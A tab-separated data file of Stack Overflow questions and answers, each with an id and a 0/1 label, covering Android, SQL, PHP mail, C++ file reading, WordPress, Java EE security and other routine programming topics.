15601679	0	 <p>If I understand you correctly, what you are looking for is this:</p> <pre><code>$(this).siblings("td[class='ms-formbody']").each(.. </code></pre>
30042382	0	Linux -> automatic deletion of files older than 2 days <p>I am trying to write something that runs in the background under linux (ubuntu server). I need a service of some sort that deletes files that are older than 2 days from the files system (own cloud storage folder).</p> <p>What is the best way to approach this?</p>
18043512	0	 <p>It is almost impossible to answer your question in the scope of a SO "answer" - you will need to read up on implementation of parallel processing for the particular architecture of your machine if you want the "real" answer. Short answer is "it depends". But your program could be running on both processors, on any or all of the four cores; they key to understand here is that you can control that to some extent with the structure of your program, but the neat thing about OMP is that usually "you ought not to care". If threads are operating concurrently, they will usually get a core each; but if they need to access the same memory space that may slow you down since "short term data" likes to live in the processor's (core's) cache, and that means there is a lot of shuffling data going on. You get the greatest performance improvements if different threads DON'T have to share memory.</p>
38514855	0	Toolbar/Nav drawer not working with tabbed view <p>I'm having an issue getting my toolbar and navigation drawer to show on a new layout file. It's working for the whole app, except the new tabbed layout view.</p> <p>I try to activate it in the onCreate of the new java class:</p> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.workout_days); mToolBar = activateToolbar(); setUpNavigationDrawer(); </code></pre> <p>I no longer get an error, but the toolbar still doesn't show up. I'm wondering if it's something wrong with my layout file.</p> <p>baseactivity:</p> <pre><code>public static final int HOME = 1; public static final int MY_WORKOUT = 2; public static final int MAXES = 3; public static final int PROGRESS = 4; public static final int WORKOUTS = 5; public static final int HELP = 6; private Class mNextActivity; public static String mTitle = AppConstant.SHIEKO_WORKOUT; public static int mType = HOME; protected Toolbar mToolBar; private NavigationDrawerFragment mDrawerFragment; protected Toolbar activateToolbar() { if(mToolBar == null) { mToolBar = (Toolbar) findViewById(R.id.app_bar); setSupportActionBar(mToolBar); switch (mType) { case HOME: getSupportActionBar().setTitle(AppConstant.SHIEKO_WORKOUT); break; case MY_WORKOUT: getSupportActionBar().setTitle(AppConstant.MY_WORKOUT); break; case MAXES: getSupportActionBar().setTitle(AppConstant.SET_MY_MAXES); break; case PROGRESS: getSupportActionBar().setTitle(AppConstant.MY_PROGRESS); break; case WORKOUTS: getSupportActionBar().setTitle(AppConstant.WORKOUTS); break; case HELP: getSupportActionBar().setTitle(AppConstant.FEEDBACK); } } return mToolBar; } </code></pre> <p>Here is my activity: I also have 3 other fragment xml pages that are for the 3 tabs, those do not include the toolbar or nav bar as it's my understanding they are below the tabview.. correct me if I'm wrong please..</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; </code></pre> <p></p> <pre><code>&lt;android.support.v4.widget.DrawerLayout android:id="@+id/drawer_layout" android:layout_width="match_parent" android:layout_height="match_parent"&gt; &lt;!--&lt;RelativeLayout--&gt; &lt;!--android:layout_width="match_parent"--&gt; &lt;!--android:layout_height="match_parent"&gt;--&gt; &lt;android.support.design.widget.AppBarLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:paddingTop="0dp"&gt; &lt;include android:id="@+id/app_bar" layout="@layout/toolbar" /&gt; &lt;android.support.design.widget.TabLayout android:id="@+id/tabs" android:layout_width="match_parent" android:layout_height="wrap_content"/&gt; &lt;/android.support.design.widget.AppBarLayout&gt; &lt;android.support.v4.view.ViewPager android:id="@+id/container" android:layout_width="match_parent" android:layout_height="match_parent" app:layout_behavior="@string/appbar_scrolling_view_behavior"/&gt; &lt;!--&lt;/RelativeLayout&gt;--&gt; &lt;fragment android:name="com.bestworkouts.sheikoworkout.NavigationDrawerFragment" android:id="@+id/fragment_navigation_drawer" tools:layout="@layout/fragment_navigation_drawer" android:layout_width="280dp" android:layout_height="match_parent" android:layout_gravity="start" app:layout="@layout/fragment_navigation_drawer" /&gt; &lt;/android.support.v4.widget.DrawerLayout&gt; </code></pre> <p></p> <p>Thanks in advance! </p>
26943730	0	 <p>ADC in AVR is in unsigned 10-bit form, not a double. And the ADC can be read as two separate bytes, ADCL and ADCH. ADCL must be read first.</p> <p>If you want to send some other <code>uint16_t val</code> use</p> <pre><code>uint8_t lo = (uint8_t)val; uint8_t hi = (uint8_t)(val &gt;&gt; 8); </code></pre> <p><code>double</code> and <code>float</code> are both 4 bytes long. If you want to send a <code>double dval</code> use this trick</p> <pre><code>uint32_t val32 = * (uint32_t *) &amp;dval; </code></pre> <p>(Create a pointer to the dval with the address operator <code>&amp;</code>. Cast that pointer to a pointer to a <code>uint32_t</code>, which is a variable taking up the same number of bytes. Then dereference the pointer to get the value, which goes into val32.</p> <p>This is not the same as simply casting the dval to a uint32_t. That would truncate the number.)</p> <p>Send <code>val32</code> in 4 pieces by shifting as above. Recover by shifting and <code>|</code>, then use a similar pointer trick to turn the result back into a double.</p>
37505115	0	 <p>When items are added to a recycler view or a list view you need to notify the adapter that these changes have occurred which you aren't doing. </p> <p>In <code>onProgressUpdate</code> you'd want to call <code>adapter.notifyItemInserted(position)</code> to tell the RecyclerView to refresh. To do this you'd need a callback or a listener in your AsyncTask because it doesn't have a reference to your adapter, and it shouldn't.</p> <p>See here for all the notify calls you have the ability to use: <a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter.html" rel="nofollow">https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter.html</a></p>
34681863	0	 <p>Your best bet is to use unicode escape sequences (like <strong>\u2665</strong>) rather than the binary character.</p>
28865240	0	 <p>Well, sendgrid-nodejs is a more popular repository.</p> <p>However, Nodemailer is the most popular module for sending emails with NodeJS. I've been using it for months and I'm very satisfied.</p> <p>If you're worried about the future of your app you should consider that Nodemailer is used not just with Sendgrid, but with a lot of other competitors. So if you have a problem with Sendgrid, you could easily switch to another email delivery service without having to learn a different API.</p> <p>So I suggest you to use nodemailer-sendgrid-transport, and if you find bugs, fix them with a PR :P</p>
18989915	0	 <p>I found the issue. I am referencing JQ version 1.9 because i read in a tutorial that it should automatically pick the latest version in the 1.9 series. It works if i change it to 1.9.0 or 1.9.1. However, i still dont understand why 1.9 didnt work. it should have picked the latest 1.9.* version.</p> <p>But atleast by making it 1.9.1/0 it works from a .js file. </p>
37909207	1	Get distance and velocity from discrete accelerometer data <p>I know there has been a number of questions and answers on this topic, but none of them has helped me to understand how to approach the problem. So my set-up is: I have accelerometer data (clean from the gravity part), and I'd like to calculate from the given sample velocity and distance. The data is discrete, say, <code>dt = 20ms</code>, and <code>acc = [...]</code> is the array with samples. I understand that I need to integrate the array to get velocity, but the integration gives me a single values, doesn't it?</p> <pre><code>velocity = scipy.integrate.simps(acc, dx=dt) </code></pre> <p>How do I use this value to get the distance afterwards?</p>
38255251	0	 <p>in order to show additional data you can use Grid or StackPanel or whatever suits your needs with visibility collapsed and when the user clicks the item it will be set to show. Here I demonstrated how you can do this with a simple ListView:</p> <p>This is my MainPage:</p> <pre><code>&lt;Page x:Class="App1.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:local="using:App1" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" Name="DummyPage" mc:Ignorable="d"&gt; &lt;Page.Resources&gt; &lt;local:BoolToVisibilityConverter x:Key="BoolToVisibilityConverter" /&gt; &lt;/Page.Resources&gt; &lt;Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"&gt; &lt;ListView Name="lvDummyData" HorizontalAlignment="Center" VerticalAlignment="Center" IsItemClickEnabled="True" ItemClick="lvDummyData_ItemClick" SelectionMode="Single"&gt; &lt;ListView.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;Grid&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="Auto" /&gt; &lt;RowDefinition Height="Auto" /&gt; &lt;/Grid.RowDefinitions&gt; &lt;TextBlock Text="{Binding FirstName}" /&gt; &lt;StackPanel Grid.Row="1" Margin="0,20,0,0" Visibility="{Binding ShowDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}"&gt; &lt;TextBlock Text="{Binding LastName}" /&gt; &lt;TextBlock Text="{Binding Adress}" /&gt; &lt;/StackPanel&gt; &lt;/Grid&gt; &lt;/DataTemplate&gt; &lt;/ListView.ItemTemplate&gt; &lt;/ListView&gt; &lt;/Grid&gt; &lt;/Page&gt; </code></pre> <p>This is my code behind:</p> <pre><code>using System.Collections.ObjectModel; using System.ComponentModel; using Windows.UI.Xaml.Controls; // The Blank Page item template is documented at http://go.microsoft.com/fwlink/?LinkId=402352&amp;clcid=0x409 namespace App1 { /// &lt;summary&gt; /// An empty page that can be used on its own or navigated to within a Frame. /// &lt;/summary&gt; public sealed partial class MainPage : Page, INotifyPropertyChanged { public ObservableCollection&lt;DummyData&gt; DummyData { get; set; } private DummyData tempSelectedItem; public MainPage() { DummyData = new ObservableCollection&lt;DummyData&gt;(); DummyData.Add(new DummyData() { Adress = "London", FirstName = "Shella", LastName = "Schranz", ShowDetails = false }); DummyData.Add(new DummyData() { Adress = "New York", FirstName = "Karyl", LastName = "Lotz", ShowDetails = false }); DummyData.Add(new DummyData() { Adress = "Pasadena", FirstName = "Jefferson", LastName = "Kaur", ShowDetails = false }); DummyData.Add(new DummyData() { Adress = "Berlin", FirstName = "Soledad", LastName = "Farina", ShowDetails = false }); DummyData.Add(new DummyData() { Adress = "Brazil", FirstName = "Cortney", LastName = "Mair", ShowDetails = false }); this.InitializeComponent(); lvDummyData.ItemsSource = DummyData; } private void lvDummyData_ItemClick(object sender, ItemClickEventArgs e) { DummyData selectedItem = e.ClickedItem as DummyData; selectedItem.ShowDetails = true; if (tempSelectedItem != null) { tempSelectedItem.ShowDetails = false; selectedItem.ShowDetails = true; } tempSelectedItem = selectedItem; } public event PropertyChangedEventHandler PropertyChanged; public void RaisePropertyChangeEvent(string propertyName) { PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); } } public class DummyData : INotifyPropertyChanged { public string FirstName { get; set; } public string LastName { get; set; } public string Adress { get; set; } private bool showDetails; public bool ShowDetails { get { return showDetails; } set { showDetails = value; RaisePropertyChangeEvent(nameof(ShowDetails)); } } public event PropertyChangedEventHandler PropertyChanged; public void RaisePropertyChangeEvent(string propertyName) { PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); } } } </code></pre> <p>In my code-behind I have a variable tempSelectedItem which holds the previous clicked item so that you can hide its information.</p> <p>In order to display and hide the information accordingly we need a simple BoolToVisibilityConverter:</p> <pre><code>using System; using Windows.UI.Xaml; using Windows.UI.Xaml.Data; namespace App1 { public class BoolToVisibilityConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, string language) { bool boolValue = (bool)value; return boolValue ? Visibility.Visible : Visibility.Collapsed; } public object ConvertBack(object value, Type targetType, object parameter, string language) { throw new NotImplementedException(); } } } </code></pre> <p>Hope this helps.</p>
6743850	0	 <p>Yes is the answer but it's only the string.</p> <p>You can use <code>&lt;input name="test[]" /&gt;</code></p> <p>and you will receive an array of all inputs with name "test[]" in an array with name "test"</p> <p>You can read for all this in <a href="http://www.razzed.com/2009/01/30/valid-characters-in-attribute-names-in-htmlxml/" rel="nofollow">here</a></p>
22195255	0	 <p>That's normal as your object is a <code>reference type</code>. You should make a <code>deep copy</code> in order to reflect the changments in your history list </p> <p>try something like this </p> <pre><code>private void Employee_PropertyChanged(object sender, PropertyChangedEventArgs e) { var empCloned = DeepClone(this); History.Add(empCloned); //throw new NotImplementedException(); } </code></pre> <p><strong>Deep Copy</strong> </p> <pre><code>private T DeepClone&lt;T&gt;(T obj) { using (var ms = new MemoryStream()) { var formatter = new BinaryFormatter(); formatter.Serialize(ms, obj); ms.Position = 0; return (T) formatter.Deserialize(ms); } } </code></pre>
13682668	0	sql query to count two columns with same values <p>I've got a table with 2 columns with keywords, and I need to count the occurrence of them. I can do that separately, one column at the time, and add the totals later, with a regular count,</p> <pre><code>select count (id), kw1 from mytable group by kw1 </code></pre> <p>and the same for kw2, but I need to get the info straight from the db.</p> <p>So the table is something like:</p> <pre><code>id kw1 kw2 1 a b 2 c d 3 b 4 e a </code></pre> <p>so the idea is to get how many times has been used each keyword, so the result should be something like:</p> <pre><code>'a' 2 'b' 2 'c' 1 'd' 1 'e' 1 </code></pre> <p>Thanks in advance</p> <p>PS: Sorry, I forgot, but just in case, I'm working on Oracle 10g</p>
19485803	0	 <p>Heroku runs a case-sensitive filesystem, whereas your OS may not be case-sensitive. Try changing that require to this instead:</p> <pre><code> require 'card' </code></pre> <hr> <p>As a general rule of thumb, most files within Ruby are required using lowercase letters with underscores serving as a word separator, like this:</p> <pre><code> require 'card_shuffler' </code></pre>
29203094	0	 <p>Though it's a bit outdated, it may be helpful to read <a href="http://stackoverflow.com/questions/26705201/whats-the-difference-between-apaches-mesos-and-googles-kubernetes">What's the difference between Apache's Mesos and Google's Kubernetes</a>, to get some of the basics right. Also, note that Mesos operates on a different level than Kubernetes/Marathon/Chronos. Last but not least, see <a href="https://speakerdeck.com/tnachen/docker-swarm-plus-mesos" rel="nofollow">Docker Swarm + Mesos</a> by Timothy Chen, keeping in mind that Marathon and Swarm can operate simultaneously on the same Mesos cluster.</p>
30531045	0	 <p>After the upload you can simply call <code>delete_transient( 'wc_attribute_taxonomies' );</code></p> <p>That's where the transients are created: <a href="http://oik-plugins.eu/woocommerce-a2z/oik_api/wc_get_attribute_taxonomies/" rel="nofollow">http://oik-plugins.eu/woocommerce-a2z/oik_api/wc_get_attribute_taxonomies/</a></p> <p>See also: <a href="http://wordpress.stackexchange.com/questions/119729/create-attribute-for-woocommerce-on-plugin-activation">http://wordpress.stackexchange.com/questions/119729/create-attribute-for-woocommerce-on-plugin-activation</a></p>
9098029	0	Latest version of JSON-Framework <p>I am looking for the latest version of JSON-Framework for ios 5.0. I like this becouse is very easy to use (you can see <a href="http://blog.zachwaugh.com/post/309924609/how-to-use-json-in-cocoaobjective-c" rel="nofollow">here</a>) I have found this but in the oficial web, all is deprecated. (<a href="http://i.stack.imgur.com/m1VBe.png" rel="nofollow">Here is an image</a>, i can post any image yet)</p> <p>Any idea?</p>
34449301	0	postgresql function insert multiple rows which values are represented by array <p>I have the table:</p> <pre><code>--------------------------------------- id (integer) | name (character varying) --------------------------------------- </code></pre> <p>I want to insert multiple rows represented by array of character varying. I have the function code:</p> <pre><code>create or replace function add_task_state( TEXT ) returns void as $$ declare _str_states character varying[]; begin _str_states = string_to_array($1,','); insert into task_states (name) values ???; end; $$ language plpgsql; </code></pre> <p>How I can do this?</p>
5732159	0	 <p>You can do exactly the same thing in C++:</p> <pre><code>std::ifstream reader( xmlInputStream.c_str() ); if ( !reader.is_open() ) { // error handling here... } std::string xml; std::string line; while ( std::getline( reader, line ) ) { xml += line + '\n'; } </code></pre> <p>It's probably not the best solution, but it's already fairly good. I'd probably write something like:</p> <pre><code>std::string xml( (std::istringstream_iterator&lt;char&gt;( reader )), (std::istringstream_iterator&lt;char&gt;()) ); </code></pre> <p>(Note that at least one set of the extra parentheses are needed, due to an anomaly in the way C++ would parse the statement otherwise.)</p> <p>Or even:</p> <pre><code>std::string readCompleteFile( std::istream&amp; source ) { return std::string( std::istringstream_iterator&lt;char&gt;( source ), std::istringstream_iterator&lt;char&gt;() ); } </code></pre> <p>(Look ma, no variables:-)!) Both of these solutions preserve the newlines in the original file, so you don't need to put them back in after reading.</p>
33188783	0	 <p>Your script is working fine. You have to check some points</p> <ol> <li><p>Upload your scripts in your server. Do not run in localhost.</p></li> <li><p>Check the action and script name is same.</p></li> <li><p>Check mail to address is correct.</p></li> <li><p>Check you are running your script in a php installed server.</p></li> </ol>
14088631	0	 <p>Decorator pattern might come in handy</p> <pre><code> class S2 extends S { S s; S2(S s) { this.s = s; } // delegate method calls to wrapped B1-B5 instance @Override void oldMethod1() { s.oldMethod1(); } ... // add new methods void newMetod1() { ... } } </code></pre> <p>then use it as </p> <pre><code>new S2(new B1()); </code></pre> <p>or on an existing instance of B1 </p> <pre><code>new S2(b1); </code></pre>
7095848	0	indenting Java source files using Eclipse <p>I'm using an UML tool that generates Java classes from the UML class diagram. Unfortunately the code inside is not indented.</p> <p>How to solve this? How can I indent a file using Eclipse? </p>
32438463	0	Android programming use of alarmmanger <p>I want to show toast at a specific time using AlarmManger but my toast is not shown at given time? Help me. My code is as follows:</p> <pre><code>private void startAlarm() { Calendar cal=Calendar.getInstance(); cal.set(Calendar.DAY_OF_MONTH,9); cal.set(Calendar.MONTH,7); cal.set(Calendar.YEAR,2015); cal.set(Calendar.HOUR_OF_DAY,2); cal.set(Calendar.MINUTE,55); cal.set(Calendar.AM_PM,Calendar.PM); Intent intent = new Intent(this, WelcomActivity.class); PendingIntent pendingIntent = PendingIntent.getBroadcast(this.getApplicationContext(), 0, intent, 0); AlarmManager alarmManager = (AlarmManager)getApplicationContext().getSystemService(ALARM_SERVICE); alarmManager.setInexactRepeating(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), AlarmManager.INTERVAL_DAY, pendingIntent); Toast.makeText(this, "Alarm worked.", Toast.LENGTH_LONG).show(); } </code></pre>
19723628	0	 <p>you cannot do that</p> <blockquote> <p>private ImageView[][] gameField = {{(ImageView)findViewById(R.id.enemy1_1),(ImageView)findViewById(R.id.enemy1_2),(ImageView)findViewById(R.id.enemy1_3)}, {(ImageView)findViewById(R.id.enemy2_1),(ImageView)findViewById(R.id.enemy2_2),(ImageView)findViewById(R.id.enemy2_3)}, {(ImageView)findViewById(R.id.enemy3_1),(ImageView)findViewById(R.id.enemy3_2),(ImageView)findViewById(R.id.enemy3_3)}};</p> </blockquote> <p>you should save only the id , R.id.XXX and when query the view use findViewById.</p> <p>you cannot query view by id if the view doesnt yet exists.</p>
11929402	0	 QAbstractTableModel is a class in Qt for models that represent their data as a two-dimentional array of items.
295684	0	 <p><code>svn diff</code>, even when you're offline and might think diff:ing is not possible.</p>
30335945	0	 <p>Do you need all of this data present on the Windows machine? Or are you going to be accessing it intermittently? </p> <p>You might try just mounting your S3 bucket. </p> <p>It will still be remote but will act like a normal mounted drive in Windows. If you need to do some data crunching then copy just the files you need at that moment to the local disk. You can mount S3 with S3browser,Cloudberry, or a hundred other S3 clients. </p>
37395447	0	Service-based security with Java EE <p>All Java EE authorisation techniques I've seen so far are for the view layer only - mostly based on JSF. You basically restrict access to certain URL patterns or JSF components.</p> <p>However, I'd prefer to have my security layer on the services. My layers are looking something like this:</p> <ul> <li>View (XHTML + JSF Backing Beans / RESTful web services)</li> <li>Services</li> <li>Entities and Business Logic</li> <li>DAOs</li> </ul> <p>Since the services are a proxy to my business logic and contain no logic by themselves, I'd like to use them for access control. This way I wouldn't need to implement the security for each view technology separately or watch out for URL patterns (which are terrible to maintain).</p> <p>My preferred solution would be annotations for classes or methods on the services. If some view code tries to access them without permission, it gets an exception (which is handled and should forward to a login form).</p> <p>Is there anything like this I could use?</p>
8881069	0	 <p>The only way to use 2 different version of the same class is to laod them through 2 different classloaders. That is you have to load <strong>owls.jar__and __jena.jar</strong> with one class loader and <strong>envy.jar</strong> and <strong>jena2.jar</strong> with another. This solution has its own pitfalls, you should probably right custom code that will be able to use another classloader when it's necessary, maybe you will end up with writing your own class loader.</p> <p>As far as I know there is no built in solution for such situation. May be, it is easier to use older version of one the jar's above that can support the same version of <strong>jena.jar</strong> This is much easier solution.</p>
25214643	1	Python - Rounding floating integers defined as variables and displaying them <p>I am trying to get this to calculate a number based on user input. While displaying it I want it to round to 2 digits. It refuses too! So confused. Any advice?</p> <pre><code>def calc(user_id): numbers = {'A': 4, 'B': 3, 'C': 2, 'D': 1, 'F': 0} user = User.objects.get(pk=user_id) user_profile = UserProfile.objects.get(user=user) outs = Out.objects.filter(user=user) counter = 0 total_number = 0 for out in outs: if out.data['type'] != 'panel': continue else: print out.data total_number += numbers[out.data['level']] counter += 1 x = round(float(total_number/float(counter)), 2) user_profile.average = x user_profile.save() </code></pre>
3414877	0	 <p>Next to reseting the counter for the figures:</p> <pre><code>\setcounter{figure}{0} </code></pre> <p>You can also add the "S" by using:</p> <pre><code>\makeatletter \renewcommand{\thefigure}{S\@arabic\c@figure} \makeatother </code></pre>
19311651	0	send mail using mail() in php <p>Hello I am learning php where i came to know mail() function i have tried this code</p> <pre><code>function sendMail() { $to = 'Sohil Desai&lt;sohildesai.2711@gmail.com&gt;'; $from = 'Sohil Desai&lt;sohildesai.2711@hotmail.com&gt;'; $subject = 'Test Mail'; $headers = 'MIME-Version: 1.0'. "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'From: '.$from . "\r\n"; $headers .= 'X-Mailer: PHP/'.phpversion(); $message = 'This mail is sent for testing.'; $mail = mail($to, $subject, $message, $headers); if (!$mail) { return 'Error occured sending mail.'; } return 'Mail successfully sent.'; } echo sendmail(); </code></pre> <p>I have tested only for gmail, ymail and hotmail.</p> <p>This function sends mail in a spam for gmail &amp; hotmail and it won't send mail to ymail.</p> <p>why it happens??</p> <p>I am using Ubuntu 12.04 &amp; php version 5.3.10.</p> <p>Can anyone help me?? Thanks to halpers in advance..</p>
5781483	0	 <p>Is this just an example, or the real application?</p> <p>In trading room environments, market data applications are extremely sensitive to delays of even a few milliseconds, and a lot of time and money is invested to minimise delays.</p> <p>This makes the set of technologies you're talking about completely inappropriate; C/C++/Java apps communicating over raw TCP sockets or through a high performance middleware are the only way to get the necessary performance. Internet distribution has unpredictable delays.</p> <p>Of course, if you're talking about the low-end of the market, where 'realtime' means the user won't get bored waiting for a response, as opposed to liveness of data, then there are many possible technologies. AJAX may be suitable, using either XML or JSON payload.</p> <p>What type of data source do the quotes come from? Is it's a database, XML/JSON AJAX makes sense; if it's message-orientated middleware, then sockets are much better.</p> <p>Do you need to have real-time updates, and is it acceptable for individual updates to get aggregated?</p>
9715113	0	 <p>To start with, I'd suggest using <a href="http://msdn.microsoft.com/en-us/library/system.datetime.parseexact.aspx" rel="nofollow"><code>DateTime.ParseExact</code></a> or <code>TryParseExact</code> - it's not clear to me whether your sample is meant to be December 2nd or February 12th. Specifying the format may well remove your <code>FormatException</code>.</p> <p>The next problem is working out which time zone you want to convert it with - are you saying that 11:58 is a <em>local</em> time in some time zone, or it's <em>already</em> a UTC time?</p> <ul> <li>If it's a local time in the time zone of the code which is running this, you can use <code>DateTimeStyles.AssumeLocal | DateTimeStyles.AdjustToUniversal</code> to do it as part of parsing.</li> <li>If it's already a universal time, use <code>DateTimeStyles.AssumeUniversal</code></li> <li>If it's a local time in a different time zone, you'll need to use <a href="http://msdn.microsoft.com/en-us/library/system.timezoneinfo.aspx" rel="nofollow"><code>TimeZoneInfo</code></a> to perform the conversion.</li> </ul> <p>Also, if it's a local time you'll need to consider two corner cases (assuming you're using a time zone which observes daylight saving time):</p> <ul> <li>A local time may be <em>skipped</em> due to DST transitions, when the clocks go forward. So if the clocks skip from 1am to 2am, then 1:30am doesn't exist at all.</li> <li>A local time may be <em>ambiguous</em> due to DST transitions, when the clocks go back. So if the clocks go back from 2am to 1am, then 1:30am occurs <em>twice</em> at different UTC times - which occurrence are you interested in?</li> </ul> <p>You should decide how you want to handle these cases, and make sure they're covered in your unit tests.</p> <p>Another option is to use my date and time library, <a href="http://noda-time.googlecode.com" rel="nofollow">Noda Time</a>, which separates the concepts of "local date/time" and "date/time in a particular time zone" (and others) more explicitly.</p>
9800647	0	 <p><a href="http://www.modernizr.com/" rel="nofollow">Modernizr</a> will make HTML5 elements work (and by work, I mean the browser will recognise them and you can apply styles to them) in browsers that do not support them, such as old versions of IE</p> <p>Another good one is <a href="http://selectivizr.com/" rel="nofollow">selectivizr</a>, which adds a bunch of unsupported CSS3 selectors to old IE, although a JS library also needs to be used</p>
38218640	0	Is it possible to write an extension for a specific swift Dictionary ... [String : AnyObject]? <p>I am trying to write an extension for this:</p> <pre><code>extension [String : AnyObject] { } </code></pre> <p>It throws and error. I was also trying to come up with something similar as this:</p> <pre><code>extension Dictionary: [String : AnyObject] { } </code></pre> <p>It also fails.</p> <p>Is there a solution that works similar as this (I can't remember proper syntax)?</p> <pre><code>extension Dictionary where ?? is [String : AnyObject] { } </code></pre>
22278111	0	 <p>Try following approach, is from <a href="http://www.vntweb.co.uk/no_pubkey-e585066a30c18a2b/" rel="nofollow">there</a></p> <blockquote> <p>The error <code>NO_PUBKEY E585066A30C18A2B</code> is the key for the Opera web browser. To correct the error, run the following code.</p> <p><code>wget -O - http://deb.opera.com/archive.key | apt-key add</code></p> </blockquote>
38123587	0	Extract username from forward slash separated text <p>I need to extract a username from the log below via regex for a log collector. </p> <p>Due to the nature of the logs we're getting its not possible to define exactly how many forward slashes are going to be available and I need to select a specific piece of data, as there are multiple occurances of similar formatted data.</p> <p>Required data:</p> <pre><code>name="performedby" label="Performed By" value="blah.com/blah/blah blah/blah/**USERNAME**"| </code></pre> <p>&lt;46>Jun 23 10:38:49 10.51.200.76 25113 LOGbinder EX|3.1|success|2016-06-23T10:38:49.0000000-05:00|Add-MailboxPermission Exchange cmdlet issued|name="occurred" label="Occurred" value="6/23/2016 10:38:49 AM"|name="cmdlet" label="Cmdlet" value="Add-MailboxPermission"|name="performedby" label="Performed By" value="blah.com/blah/blah blah/blah/<strong>USERNAME</strong>"|name="succeeded" label="Succeeded" value="Yes"|name="error" label="Error" value="None"|name="originatingserver label="Originating Server" value="black"|name="objectmodified" label="Object Modified" value="blah/blah/USERNAME"|name="parameters" label="Parameters" value="Name: Identity, Value: [blah]Name: User, Value: [blah/blah]Name AccessRights, Value: [FullAccess]Name: InheritanceType, Value: [All]"|name="properties" label="Modified Properties" value="n/a"|name="additionalinfo" label="Additional Information"</p> <p>I've tried a few different regex commands but I'm not able to extract the necessary information without exactly stating how many / there will be.</p> <pre><code>blah\.com[.*\/](.*?)"\|name </code></pre>
30222530	0	iOS: Check if user is already logged in using Facebook? <p>I have started working on an iOS app on Xcode using Swift and storyboards. I have a requirement where on click of a button I will show a user's Facebook profile info on the screen (only if user is signed in using Facebook), but if he is not signed in it will automatically go to login screen and on successful login again the profile view will be shown.</p> <p>How can I do this?</p>
34562508	0	 <p>Use <a href="https://codex.wordpress.org/Template_Tags" rel="nofollow">get_the_post_thumbnail</a> function.<br> In this case it is better use The Loop fundamentals of WordPress.<br> References:<br> <a href="https://codex.wordpress.org/The_Loop" rel="nofollow">https://codex.wordpress.org/The_Loop</a><br> <a href="https://codex.wordpress.org/The_Loop_in_Action" rel="nofollow">https://codex.wordpress.org/The_Loop_in_Action</a></p>
11846110	0	 <p>Also you may want to select show updates/new packages and show installed packages.</p> <p>Btw. I think it is called Google Play now instead of Google Market.</p>
9824683	0	Android 4.0 - problems <p>I have 3 problems with android 4.0 (Galaxy tab 10.1). The first one is getting local IP: I use the method:</p> <pre><code>public static String getLocalIpAddress() { try { for (Enumeration&lt;NetworkInterface&gt; en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements();) { NetworkInterface intf = en.nextElement(); for (Enumeration&lt;InetAddress&gt; enumIpAddr = intf.getInetAddresses(); enumIpAddr.hasMoreElements();) { InetAddress inetAddress = enumIpAddr.nextElement(); if (!inetAddress.isLoopbackAddress()) { return inetAddress.getHostAddress().toString(); } } } } catch (SocketException ex) { ex.printStackTrace(); } return null; } </code></pre> <p>It works great on android v2.1-2.3. But some customers who have Android 4.0 complain me that it doesn't work! It returns something like mac-address: fe80::fad0:bdff:fe4d:4871 Can anyone explain what's happened?</p> <p>The second problem is about WiFi checking state. I use function below to check connection to WiFi hotspot point:</p> <pre><code> public boolean IsWiFiConnected(){ List&lt;WifiConfiguration&gt; wifiConfigList = wifiManager.getConfiguredNetworks(); boolean retVal=false; for(WifiConfiguration wifiConf : wifiConfigList){ if(wifiConf.status==WifiConfiguration.Status.CURRENT){ retVal=true; break; } } return retVal; } </code></pre> <p>In android 4.0 it always returns false. </p> <p>And the third problem is getting device's information (it happens on ASUS Transformer Prime): I get information about device by using function below:</p> <pre><code>public static String GetDeviceInfo(Context context){ TelephonyManager telephonyManager = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE); return Build.BRAND.toString()+"~|~"+Build.DEVICE.toString()+"~|~"+telephonyManager.getDeviceId().toString()+"~|~"+Build.VERSION.RELEASE; } </code></pre> <p>It throws NULLPointerExeption. I think it happens because of TelephonyManager can not be initialized. I have all permissions in manifest. These all functions work fine on the previous versions. </p> <p>Could anyone tell me what's going on? Thank you.</p>
39671829	0	 <p>found two ways of achieving my problem </p> <p>1.from @trevjonez(trevor jones)</p> <pre><code>Where&lt;SomeModel&gt; query = SQLite.select() .from(SomeModel.class) .where(SomeModel_Table.date_field.greaterThan(someValue)); if(someCondition) { query = query.and(SomeModel_Table.other_field.eq(someOtherValue)); } else { query = query.and(SomeModel_Table.another_field.isNotNull()); } Cursor cursor = query.query(); //do stuff with cursor and close it — </code></pre> <p>2.from @zshock using ConditionalGroup</p> <pre><code>ConditionGroup conditionGroup = ConditionGroup.clause(); conditionGroup.and(YourTable_Table.id.eq(someId); if (someCondition) { conditionGroup.and(YourTable_Table.name.eq(someName); } return SQLite.select() .from(YourTable.class) .where(conditionGroup) .queryList(); </code></pre>
13172659	0	 <p>Get it as </p> <pre><code>$total = 0 $avg = 0 foreach ($users as $user) { $user_avg = ($user['reliable'] + $user['communication'] + ($user['experience']/3) * 5) / 3; $total += $user_avg; } if (sizeof($users) &gt; 0) { $avg = $total/sizeof($users); $avg = round($avg, 2) } </code></pre>
